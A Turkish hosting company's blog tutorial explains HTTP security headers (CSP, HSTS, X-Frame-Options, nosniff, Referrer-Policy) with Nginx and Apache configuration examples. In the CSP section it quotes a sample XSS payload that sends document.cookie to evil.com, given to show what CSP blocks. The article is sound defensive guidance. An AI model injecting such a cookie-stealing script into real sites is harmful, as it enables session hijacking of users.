Güvenlik

Web güvenlik başlıkları: CSP, HSTS ve diğerleri

Güvenlik başlıkları ile XSS, clickjacking ve MIME sniffing saldırılarından korunun. Siteyi bozmadan CSP, HSTS ve X-Frame-Options ayarlamak için pratik eğitim.

Güvenlik

Güvenlik Başlığı Nedir ve Siteniz Neden Buna İhtiyaç Duyar?

Kullanıcının tarayıcısı sunucunuza bir istek gönderdiğinde, HTTP yanıtı yalnızca sayfa içeriğini içermez; aynı zamanda tarayıcıya içerikle nasıl başa çıkacağını söyleyen bir dizi başlık (Headers) içerir. Güvenlik başlığı, tarayıcının hassas güvenlik durumlarındaki davranışını kontrol eden bu başlıkların özel bir türüdür: satır içi script'leri çalıştırmasına izin var mı? Sayfayı iframe içinde yükleyebilir mi? Yalnızca HTTPS kullanmalı mı?

XSS, clickjacking ve MIME sniffing gibi birçok yaygın saldırı, kod zayıflığından değil, sunucunun tarayıcıya hangi davranışın izinli olduğunu söylememesinden dolayı başarılı olur. Bu başlıkların doğru ayarlanması, site güvenliğini artırmanın en hızlı ve en düşük maliyetli yollarından biridir. Bu makalede her başlığı pratik örneklerle, durdurduğu saldırı senaryosuyla ve yaygın hatalarla inceleyeceğiz.

Content-Security-Policy (CSP): XSS'e Karşı Güçlü Bariyer

XSS (Cross-Site Scripting) saldırıları, saldırganın sayfanıza kendi script'ini enjekte edebilmesi durumunda gerçekleşir. Content-Security-Policy başlığı, tarayıcıya hangi kaynakların (script, stil, görsel, font vb.) çalıştırılmasına veya yüklenmesine izin verildiğini söyler. Bu listede olmayan bir script varsa, tarayıcı onu engeller.

CSP'nin Temel Yapısı

Yalnızca aynı alan adındaki script'lere izin veren basit bir politika:

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'

Bu şu anlama gelir: tüm kaynaklar kendi alan adınızdan, script'ler yalnızca kendi alan adınızdan, stiller yalnızca kendi alan adınızdan. Siteniz CDN kullanıyorsa, onu eklemeniz gerekir:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'

'unsafe-inline' direktifi stiller için genellikle kaçınılmazdır çünkü birçok framework satır içi stil üretir. Ancak script'ler için asla kullanmayın; XSS'i mümkün kılan tam olarak budur.

CSP'nin Durdurduğu Saldırı Senaryosu

Diyelim ki sitenizin arama formu, kullanıcı girdisini sanitize etmeden sayfada yansıtıyor. Saldırgan, <script>fetch('https://evil.com?cookie='+document.cookie)</script> içeren bir bağlantı gönderir. CSP olmadan, tarayıcı bu script'i çalıştırır ve çerezler sızdırılır. script-src 'self' içeren CSP ile tarayıcı, satır içi script'in çalıştırılmasını engeller ve konsolda şu hatayı gösterir:

Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'"

Yaygın Hata: Script için unsafe-inline Kullanımı

Birçok geliştirici, siteyi hızlıca çalışır hale getirmek için 'unsafe-inline' ifadesini script-src öğesine ekler. Bu, CSP'yi pratikte etkisiz hale getirir. Gerçekten satır içi script'e ihtiyacınız varsa (örneğin analitik etiketler için), nonce kullanın:

Content-Security-Policy: script-src 'self' 'nonce-rastgele-tekkullanımlık'

Ve HTML'de: <script nonce="rastgele-tekkullanımlık">...</script>. Nonce değeri her sunucu yanıtında değişmelidir. Bu yöntem güvenlidir çünkü saldırgan geçerli nonce'u tahmin edemez.

Strict-Transport-Security (HSTS): HTTPS'i Kilitleme

Siteniz HTTPS kullansa bile, kullanıcı adresi http:// ile yazabilir veya eski bir bağlantıya tıklayabilir. Bu arada, ağdaki saldırgan (örneğin genel Wi-Fi) trafiği okuyabilir veya man-in-the-middle saldırısı gerçekleştirebilir. Strict-Transport-Security başlığı tarayıcıya şunu söyler: "Bundan sonra bu alan adına yalnızca HTTPS ile bağlan ve HTTP'yi asla kabul etme."

Standart Yapılandırma

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
  • max-age: Geçerlilik süresi saniye cinsinden (bir yıl = 31536000).
  • includeSubDomains: Tüm alt alan adları da HTTPS kullanmak zorunda.
  • preload: Alan adını tarayıcıların HSTS listesine kaydeder (hstspreload.org adresine kayıt olmanız gerekir).

Yaygın Hata: HTTPS Tamamlanmadan HSTS'yi Etkinleştirme

Bir alt alan adı bile (örneğin blog.example.com) hâlâ HTTP sunuyorsa, includeSubDomains özelliğini etkinleştirmek kullanıcıların bu alana erişememesine neden olur. Tarayıcı bağlantıyı basitçe engeller. Çözüm: Önce tüm alt alan adlarını HTTPS'e taşıyın, ardından HSTS'yi düşük max-age (örneğin 300) ile test edin ve birkaç gün sonra değeri bir yıla çıkarın.

X-Frame-Options ve frame-ancestors: Clickjacking'i Önleme

Clickjacking saldırısında, saldırgan sitenizi kendi sayfasındaki şeffaf bir iframe içine yerleştirir ve kullanıcı kendi düğmesine tıkladığını sanarken, sitenizdeki "Hesabı Sil" düğmesine tıklar. Bununla başa çıkmak için iki başlık vardır:

X-Frame-Options: DENY

Veya CSP'de de kullanılabilen daha modern sürüm:

Content-Security-Policy: frame-ancestors 'none'

DENY, hiçbir alan adının sitenizi iframe içine koyamayacağı anlamına gelir. Yalnızca kendi alan adınızın koyabilmesi gerekiyorsa (örneğin widget'lar için), SAMEORIGIN kullanın. frame-ancestors CSP'de daha yenidir ve eski tarayıcılar bunu tanımaz; uyumluluk için ikisini de gönderin.

X-Content-Type-Options: MIME Sniffing'in Sonu

Tarayıcılar bazen dosya içeriğine göre türünü tahmin eder (MIME sniffing). Saldırgan kötü amaçlı HTML içerikli bir metin dosyası yüklerse, tarayıcı bunu HTML olarak çalıştırabilir. Aşağıdaki başlık bu davranışı devre dışı bırakır:

X-Content-Type-Options: nosniff

Bu basit başlık, en düşük maliyetli ve en etkili güvenlik başlıklarından biridir ve normal kullanıcı için hiçbir yan etkisi yoktur.

Referrer-Policy: Diğer Sitelere Gönderilen Bilgileri Kontrol Etme

Kullanıcı bir çıkış bağlantısına tıkladığında, tarayıcı varsayılan olarak kaynak sayfanın tam adresini (query string dahil) Referer başlığında gönderir. Adresiniz bir token veya oturum kimliği içeriyorsa, bu bilgi hedef siteye sızar. Referrer-Policy başlığı bu davranışı kontrol eder:

Referrer-Policy: strict-origin-when-cross-origin

Bu önerilen değerdir: aynı kaynak (same-origin) isteklerinde tam adres gönderilir, ancak çapraz kaynak (cross-origin) isteklerinde yalnızca origin (path ve query string olmadan) gönderilir.

Pratik Uygulama: Başlıkları Nerede Ayarlamalı?

Altyapınıza bağlı olarak farklı yöntemler vardır:

Nginx'te

add_header Content-Security-Policy "default-src 'self'" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;

always kelimesi, başlığın hata yanıtlarında (4xx ve 5xx) bile gönderilmesini garanti eder.

Apache'de

Header always set Content-Security-Policy "default-src 'self'"
Header always set Strict-Transport-Security "max-age=31536000"
Header always set X-Frame-Options "DENY"
Header always set X-Content-Type-Options "nosniff"

Test ve Hata Ayıklama

Ana sunucuya uygulamadan önce, başlıkların mevcut durumunu görmek için securityheaders.com gibi çevrimiçi araçları kullanın. CSP'yi test etmek için, engellemeden hataları görmek üzere yalnızca rapor modunu (report-only) kullanın:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

Bu başlık, engellemek yerine ihlal raporlarını belirtilen adrese gönderir. Birkaç gün raporları inceleyip sorunları çözdükten sonra ana başlığı etkinleştirin.

Güvenlik Başlıklarını Ayarlarken Yapılan Yaygın Hatalar

  • HTTPS tamamlanmadan HSTS ayarlamak: Kullanıcıların erişimini kaybetmesine neden olur. Önce her zaman HTTPS'i tamamlayın.
  • CSP'de unsafe-inline kullanmak: Pratikte XSS'i mümkün kılar. Bunun yerine nonce veya hash kullanın.
  • Hata yanıtlarında başlıkları unutmak: Saldırgan, enjeksiyon için 404 sayfalarını kullanabilir. Nginx'te always veya Apache'de always ile bu sorunu çözün.
  • Test etmeden başlıkları kopyalamak: Her sitenin yapısı farklıdır. Bir SPA sitesi için doğru olan CSP, sitenizi tamamen bozabilir. Her zaman report-only moduyla başlayın.

Özet: Nereden Başlamalı?

Sitenizde bu başlıkların hiçbiri yoksa, şu sırayla ilerleyin:

  1. X-Content-Type-Options: nosniff ekleyin (en düşük risk, en yüksek etki).
  2. X-Frame-Options: DENY ekleyin (gerçekten iframe'e ihtiyacınız yoksa).
  3. Referrer-Policy: strict-origin-when-cross-origin ekleyin.
  4. HSTS'yi düşük max-age ile test edin ve emin olduktan sonra değeri artırın.
  5. CSP'ye report-only moduyla başlayın, raporları inceleyin ve sorunları çözdükten sonra etkinleştirin.

Bu başlıkları ayarlamak çok zaman almaz, ancak sitenizin güvenliği üzerindeki etkisi çok büyüktür. Paylaşımlı hosting kullanıyorsanız ve sunucu ayarlarına erişiminiz yoksa, bu başlıkları .htaccess dosyası (Apache'de) veya hosting paneli ayarları aracılığıyla ekleyebilirsiniz. Yönetilen ortamlarda, ServerNet gibi bazı hosting sağlayıcıları bu başlıkları kullanıcı panelinden ayarlama imkânı sunar; böyle bir seçeneğiniz yoksa, destek ekibinden sizin için etkinleştirmesini isteyin.

Güvenlik bir süreçtir, bir hedef değil. Güvenlik başlıkları bu sürecin katmanlarından biridir; en düşük maliyetle en yaygın saldırılara karşı en yüksek korumayı sağlayan katmandır.

ServerNet Destek

ServerNet mühendislik ve yayın ekibi — altyapı, ağ ve web barındırma uzmanları.

Güvenlik Hizmetleri
Paylaş:

Yorumlar 0

Henüz yorum yok — ilk siz olun!

Yorum bırakın

İlgili hizmet

Güvenlik Hizmetleri

OSCP sertifikalı uzmanlarla sızma testi, altyapı sıkılaştırma ve 7/24 güvenlik izleme.